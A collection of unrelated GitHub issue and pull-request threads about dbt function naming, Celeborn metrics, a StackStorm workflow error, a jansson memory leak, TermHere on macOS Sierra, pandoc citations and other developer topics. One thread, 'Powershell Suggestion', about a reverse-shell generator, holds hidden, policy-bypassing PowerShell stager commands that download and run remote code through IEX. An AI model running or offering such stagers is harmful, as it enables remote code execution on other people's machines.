After thinking about it a little more, I think we should choose between the names to_date or date depending on the number of arguments and their type(s).
If three arguments, each integers:
date(year, month, day)

If two arguments, both strings:
to_date(expr [, fmt] )

The former would line up with these:

bigquery date(year, month, day)
calogica date(year, month, day)

The latter would line up with these:

postgres to_date(text, text)
redshift to_date(string, format [, is_strict])
databricks to_date(expr [, format] )
snowflake to_date(expr [, format] )

That way, we can avoid confusion with any of these pre-existing function names.

@dbeatty10 need a 🍐 on this or are you good flying solo?

Opened a new issue in dbt-labs/docs.getdbt.com: https://github.com/dbt-labs/docs.getdbt.com/issues/5427


[CELEBORN-1800] Introduce ApplicationTotalCount and ApplicationFallbackCount metric to record the total and fallback count of application

What changes were proposed in this pull request?
Introduce ApplicationTotalCount and ApplicationFallbackCount metric to record the total and fallback count of application.
Why are the changes needed?
There is no any metric to record the total count of application running with celeborn shuffle and engine bulit-in shuffle and the fallback count of application. Meanwhile, the fallback of Flink shuffle is based on job granularity rather than shuffle granularity.
Follw up https://github.com/apache/celeborn/pull/3012#issuecomment-2553488532.
Does this PR introduce any user-facing change?
No.
How was this patch tested?

DefaultMetaSystemSuiteJ#testShuffleAndApplicationCountWithFallback
RatisMasterStatusSystemSuiteJ#testShuffleAndApplicationCountWithFallback

Ping @turboFei, @codenohup, @reswqa, @FMX.


Getting Failed to find action [action_name=st2.action] in mistral workflow

Gist: https://gist.github.com/parveenksofc/52716e687690447a4b9ee7733d862ab2
What I am missing?
/// The meta yaml

description: Run a series of simulated actions for fqdn down event.
enabled: true
entry_point: workflows/fqdn_down_workflow.yaml
name: fqdn_down_workflow
pack: Mypack
parameters:
fqdn:
required: true
type: string
workflow:
default: Mypack.fqdn_down_workflow.main
immutable: true
type: string
runner_type: mistral-v2
/// The yaml file in workflows
version: "2.0"
name: Mypack.fqdn_down_workflow
description: A workflow that demonstrates nest fqdn down workflow
workflows:
main:
    type: direct
    input:
        - fqdn
    tasks:
        get_url_status:
            action: Mypack.jsonFromUrl
            input:
                urlName: "<% $.fqdn %>"
            publish:
                status: '% task(get_url_status).result.result.status %'
                firstip: '% task(get_url_status).result.result.IpAddr[0] %'

///
Mypack.jsonFromUrl  is a python-script action working like charm.
Error
tasks:

created_at: '2017-02-10 11:03:45.794123'
id: c1e92328-e74a-4898-8cb5-f9ef28e3a019
input: null
name: get_url_status
published: {}
result: []
state: ERROR
state_info: Failed to find action [action_name=st2.action]
updated_at: '2017-02-10 11:03:45.817688'
workflow_execution_id: 7a34cbaf-0d5f-4a98-9359-04eb370f2e1a
workflow_name: Mypack.fqdn_down_workflow.main

It looks like an incomplete installation aka StackStorm mistral actions weren't (correctly) installed (https://github.com/StackStorm/st2-packages/blob/master/scripts/st2bootstrap-deb.sh#L478).
How did you install StackStorm?

You are a saviour @Kami
Installed by following steps mentioned https://docs.stackstorm.com/install/rhel7.html  but somehow missed step
/opt/stackstorm/mistral/bin/mistral-db-manage --config-file /etc/mistral/mistral.conf populate
Restarting st2 after executing this step resulted in successful execution of mistral workflow.
Thanks.

Glad to hear you got it resolved :+1:


Possible run time memory leak with json_load_file API

Hi Team,
I'm seeing some runtime leaks (not visible in valgrind) when parsing a big json file with 10K-20K entries in array.
I'm using the jansson version 2.14.
Sample code:
#include <stdio.h>
#include <unistd.h>
#include <jansson.h>

int main()
{
    json_t *full_file_cfg = NULL;
    json_error_t json_error;
    full_file_cfg = json_load_file("test.json", 0, &json_error);
    if (full_file_cfg != NULL) {
        json_decref(full_file_cfg);
        full_file_cfg = NULL;
    }
    return 0;
}

The json file looks something like this:
{
  "id": 1,
  "ips": [
    {
      "id": 1,
      "exit_points": [
        {
          "addr_type": "ipv4",
          "address": "<IP_ADDRESS>"
        },
        {
          "addr_type": "ipv4",
          "address": "<IP_ADDRESS>"
        },
 ...... n entries
        {
          "addr_type": "ipv4",
          "address": "<IP_ADDRESS>00"
        }
      ]
    }
  ]
}

When checked with some other memory debugging tools, it reported some leaks as below.
CallStack[23]: may-leak=1000 (56086 bytes)
    expired=1000 (56086 bytes), free_expired=0 (0 bytes)
    alloc=22463 (1258015 bytes), free=0 (0 bytes)
    freed memory live time: min=0 max=0 average=0
    un-freed memory live time: max=10
    0x00007ff767c79020  libc-2.27.so  __libc_malloc()+0
    0x00007ff767fd66c9  libjansson.so
    0x00007ff767fdc219  libjansson.so  json_object_set_new_nocheck()+89
    0x00007ff767fd7cbe  libjansson.so
    0x00007ff767fd7e2e  libjansson.so
    0x00007ff767fd7ca7  libjansson.so
    0x00007ff767fd7e2e  libjansson.so
    0x00007ff767fd7ca7  libjansson.so
    0x00007ff767fd7f56  libjansson.so
    0x00007ff767fd8317  libjansson.so  json_loadf()+183
    0x00007ff767fd84d8  libjansson.so  json_load_file()+72
    0x000055c78e241870  a.out  main()+115

Thanks,

I know it's been over a year, but any luck with this? I think I'm running into a similar issue in my own project, even though I'm loading the file into a buffer manually before using json_load() on it. My JSON file sucks up about 2.8 GB when parsing, and even though I free the buffer and do a json_decref() (which is working) on the JSON root once I'm done, most of the memory is still unaccounted for and I presume it's being eaten up by the load function.


Sierra Support

Looks like it no longer works after upgrading. Confirmed the extension is still enabled.

We're aware of this.

I'm a bit behind right now but still expect to have TermHere 1.2 submitted
to Apple shortly. A few features need finishing first.
On Thu, Sep 22, 2016, 6:41 AM Adam I<EMAIL_ADDRESS>wrote:

We're aware of this.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/hbang/TermHere/issues/9#issuecomment-248744471, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AAvMvREDf5_VO2A-x83FYo6X3ayjx8l_ks5qsZ2egaJpZM4KDSFi
.

--
Adam Demasi
HASHBANG Productions
hbang.com.au

I also just discovered this bug. Happy to see your are already working on a fix. Thanks a lot :)

What is the status of the update?

Hi @RudyBermudez, details on the update can be found at https://www.reddit.com/r/hbang/comments/54fbor/termhere_12/.

Arg I didn’t link the release post here – sorry! It’s… not quite going too well. App Review doesn’t agree with the method I’ve changed to using in order to support Sierra (and to add more features), and is pushing me onto their paid developer support service rather than just suggesting a supported alternative. I’m lost on what I should do here; TermHere sits very close to the limits of the sandbox, so moving outside of the App Store would remove a heap of stress/uncertainty when releasing updates but adds the stress/inconvenience of getting people onto the new app.

I would say that most people using this application are power users and would have no difficulty moving to a non Mac App Store version.
Is the fear getting the message? If so, maybe remove this feature and put a message inside the App Store version explaining that you can't enable the feature and to look at your website for more information.
It would require forking your code but only this one time.
I wouldn't use their developer service either. You will just pay to get a "No".
On Oct 18, 2016, at 2:09 AM, Adam Demasi <notifications<EMAIL_ADDRESS>wrote:
Arg I didn't link the release post here - sorry! It's... not quite going too wellhttps://www.reddit.com/r/hbang/comments/54fbor/termhere_12/. App Review doesn't agree with the method I've changed to using in order to support Sierra (and to add more features), and is pushing me onto their paid developer support service rather than just suggesting a supported alternative. I'm lost on what I should do here; TermHere sits very close to the limits of the sandbox, so moving outside of the App Store would remove a heap of stress/uncertainty when releasing updates but adds the stress/inconvenience of getting people onto the new app.

You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHubhttps://github.com/hbang/TermHere/issues/9#issuecomment-254450655, or mute the threadhttps://github.com/notifications/unsubscribe-auth/AFa_GHHVAeW-ymEgxYYgZ86yp3GZIKlvks5q1IzLgaJpZM4KDSFi.

I agree with @erikng . I would not mind a non-app store release at all. Honestly whatever gets the fix in my hands the fastest. Adding an automatic update feature would not be that difficult to implement. You could even self-host the application download on github.
You would just have to update the mac application with a message saying that it is deprecated and to the version hosted here.

i wonder that if you use this key ,the apple review will not pass.
com.apple.security.temporary-exception.apple-events

but i do not know why "go2shell" in app store

That’s exactly what I used/what Apple disagreed with. https://github.com/hbang/TermHere/blob/master/TermHere/TermHere.entitlements

Yeah, i have also trouble with this.and even i find this http://stackoverflow.com/questions/12858642/mac-app-rejection-temporary-exception-entitlement-key-for-safari
but also rejection.

If you got solution,please tell me.thanks.

hi~ why this app (https://itunes.apple.com/cn/app/termhere/id1114363220?mt=12&ign-mpt=uo%3D4) can submit on app store?

@kirb  Do you fix this ??? The apple allow you to do this or not now ???

The version we just released on our website is not sandboxed and works with Sierra.

@kirb aha this is a good news~ and also bad news for apple~

FYI but https://hbang.com.au/termhere Still points to App Store.

Ah good catch @erikng, knew I missed something in all the effort to release this. Redirects to the hbang.ws page now.


Joining author names in text and in parentheses

In APA 6th, Section 6.12 mentioned that:

Precede the final name in a multiple-author citation in a running text by the word and. In parenthetical material, in tables and captions, and in the reference list, join the names by an ampersand (&).
as Kurtines and Szapocznik (2003) demonstrated
as has been shown (Kurtines & Szapocznik 2003)

However, in pandoc all "and" are rendered as ampersands.

as Kurtines & Szapocznik (2003) demonstrated
as has been shown (Kurtines & Szapocznik 2003)

I realize that in-text citations (@kurtines2003) are already a hack on top of CSL as it doesn't support in-text out of the box. A possible workaround is to write author names manually and add a date using [-@kurtines2003]. I would, however, prefer a proper solution because this approach requires me to think about the correct use of "et al." etc.
My two cents on a "proper" solution to this issue:

Always joining author names using "and" in in-text citations would most likely violate some other citation styles. So while this would be convenient it's not an option.
The [-@kurtines2003]-workaround could be supplemented by something like +@kurtines2003 to print author names without publication year. While this would be nice to have it would not solve the ampersand-problem.
An option option to define an and for in-text citations when calling pandoc-citeproc, e.g. --intextand would work with all citation styles and would be quite convenient to use, I believe.

Any thoughts on this?

It should be possible to write a filter for replacing “and” by “&” in author-in-text citations only: in the “native” format citationMode = AuthorInText can easily be distinguished from citationMode = NormalCitation.
[Para [Cite [Citation {citationId = "1", citationPrefix = [], citationSuffix = [],
citationMode = AuthorInText, citationNoteNum = 0, citationHash = 1}]
[Str "Kurtines",Space,Str "&",Space,Str "Szapocznik",Space,Str "(",Str "2003",Str ")"]]

True, that might be the easiest solution in this case.
Something like this (untested):
import Text.Pandoc.JSON
main = toJSONFilter go
where go (Cite [c@Citation{ citationMode = AuthorInText }] xs) =
Cite [c] (map ampToAnd xs)
go x = x
ampToAnd :: Inline -> Inline
ampToAnd (Str "&") = Str "and"
ampToAnd x = x
-- This wouldn't work, though, with a complex one including
-- an initial author-in-text citation and some following
-- regular ones:
-- Smith and Barney (1960, 22-33; Smith & Wesson 1948, 55)
+++ nickbart1980 [Sep 29 15 15:23 ]:

It should be possible to write a filter for replacing “and” by “&” in
author-in-text citations only: in the “native” format citationMode =
AuthorInText can easily be distinguished from citationMode =
NormalCitation.
[Para [Cite [Citation {citationId = "1", citationPrefix = [], citationSuffix = [
],
citationMode = AuthorInText, citationNoteNum = 0, citationHash = 1}]
[Str "Kurtines",Space,Str "&",Space,Str "Szapocznik",Space,Str "(",Str "2003",St
r ")"]]
—
Reply to this email directly or [1]view it on GitHub.
References

https://github.com/jgm/pandoc-citeproc/issues/177#issuecomment-144207831

Thanks a lot, this seems to work. Is there any way to prevent the replacement of ampersands in author/organisation names? E.g. if I want to cite a report by the company Men & Mice (2015)? It's possible to confuse the filter by using non-breaking spaces instead of regular once, but that's a rather awkward hack...

+++ Frederik Aust [Oct 01 15 07:23 ]:

Thanks a lot, this seems to work. Is there any way to prevent the
replacement of ampersands in author/organisation names? E.g. if I want
to cite a report by the company Men & Mice (2015)?

No way that I can think of, sorry.

Frankly, a "proper" fix would be adding an extension to csl that allows for different layouts in author-in-text citations... Which is not necessarily a good idea.

In case any one else is comes across this issue, I have implemented a filter in R (think R Markdown) that does what I need. It's available here.


set fill color problem

in objective c cant get the fill color to work
any ideas?

Any code example ?
I'm using cell fill in a some projects. It should work.
How-to

No response ? I suppose that it works now.
Closing


Composer is not not installing dereuromark/media-embed

When I run the command you suggested "composer require dereuromark/media-embed" it's showing following error.
_**Your requirements could not be resolved to an installable set of packages.
Problem 1
- The requested package dereuromark/media-embed No version set (parsed as 1.0.0) is satisfiable by dereuromark/media-embed[No version set (parsed as 1.0.0)] but these conflict with your requirements or minimum-stability.**_
How can I resolve this?

In order to get past this you will need to add to your project's composer.json
  "minimum-stability": "dev"

preferably together with
  "prefer-stable": true

and be careful on how you define your requirements so that you don't end up installing dev versions that break

why is this needed?

For streaming video from google photo. But I found another script. Thank you for your response.

i was talking about min stab


Update the migration guide to document that processor checkpoints from legacy versions are not applied

Summary
In order to align with the goal of supporting cross-language checkpoints and a more efficient means of tracking partition ownership, the current Event Hub Processor does not consider or apply checkpoints created with the legacy Event Processor Host family of types.   This is a potential area of confusion and should be highlighted for consideration within the migration guide.
Scope of Work

Enhance the migration guide to call out that checkpoints and ownership data are not carried forward from the legacy Event Hubs processor types.

Consider adding instructions to manually copy/apply the data between formats or a tool to perform the migration of checkpoint data from the legacy format.

Success Criteria

The migration guide documents the behavior of the Event Hub Processor regarding legacy checkpoints and sets clear expectations for developers migrating to the new library.

Great

Good news on the long-awaited doc fix, the core of this work is currently in PR.
However, given that we've had another customer ask this same question lately, the second point you mention (Jesse) in giving some guidance to convert is really the giant open question even even with the doc fix, insofar as giving a good experience.  Going to leave this issue open and up-for-grabs for when we have cycles to do a little bit of connect-the-dots between the V1 and V5 checkpoint formats; Should be a reasonably straightforward exercise.


nothing happens if a token is set for a project, that's not an A+ project

not saying that it should, but if none of the subtabs (Modules/Exercises) are populated (https://github.com/Aalto-LeTech/intellij-plugin/issues/273) guess makes sense to consider if we show them at all https://github.com/Aalto-LeTech/intellij-plugin/issues/273#issuecomment-666263185 ?

eventually, once the project is turned into A+, both subtabs get populated


Update Gradle Wrapper from 7.6 to 8.0.1

Update Gradle Wrapper from 7.6 to 8.0.1.
Read the release notes: https://docs.gradle.org/8.0.1/release-notes.html

The checksums of the Wrapper JAR and the distribution binary have been successfully verified.

Gradle release: 8.0.1
Distribution (-all) zip checksum: 948d1e4ccc2f6ae36cbfa087d827aaca51403acae5411e664a6000bb47946f22
Wrapper JAR Checksum: 91941f522fbfd4431cf57e445fc3d5200c85f957bda2de5251353cf11174f4b5

You can find the reference checksum values at https://gradle.org/release-checksums/

🤖 This PR has been created by the Update Gradle Wrapper action.

Need help? 🤔

If something doesn't look right with this PR please file an issue here.

Unable to set all the PR reviewers, check the following usernames are correct:

@bigmichi1

Please refer to the documentation for the reviewers and team-reviewers input parameters.

🤖 This is an automatic comment by the Update Gradle Wrapper action.


Mark outlets/inlets which are hovered with mouse, not only with cursor, but also with coloring

At least in some styles. by @skotin

Actually, there is animation on hover with mouse in almost every style, it just seems not to be seen with some controllers.

Could happen, that it is barely visible in some cases, though.

Some styles (like Ableton #375 or Blender) now have larger inlets/outlets, so this problem is partially solved. Other issues are covered with #382.


Powershell Suggestion

Powershell reverse-shell  (number 22)
cmd used
--number 22 -H localhost -P 2323 --reverse --stager http
This will not work if the system is using proxy. taking cue from metasploit web delivery if we include
powershell.exe -nop -w hidden -c $d=new-object net.webclient;$d.proxy=[Net.WebRequest]::GetSystemWebProxy();$d.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $d.downloadstring('<URL>');

instead of the current
powershell.exe -nop -ep bypass -Command 'iex (new-object system.net.webclient).downloadString(\"http://localhost:80/sfLkhXIg\")'

Hey, thanks for the suggestion, again!
I have implemented this change in powershell HTTP staging and it will be merged as soon the "auto-complete" branch gets reviewed along with the other changes.
If you want to check the commit, go to "auto-complete" branch and browse latest commit: 08abbf2


Create a Solution

Create new VB.Net project

Rename to My project name to DatabaseHelper

Rename Done
(Rename to My project name to DatabaseHelper)

Review Passed